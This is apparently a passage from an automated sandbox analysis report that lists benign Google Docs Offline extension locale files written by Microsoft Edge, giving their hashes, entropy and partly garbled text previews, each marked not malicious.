Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
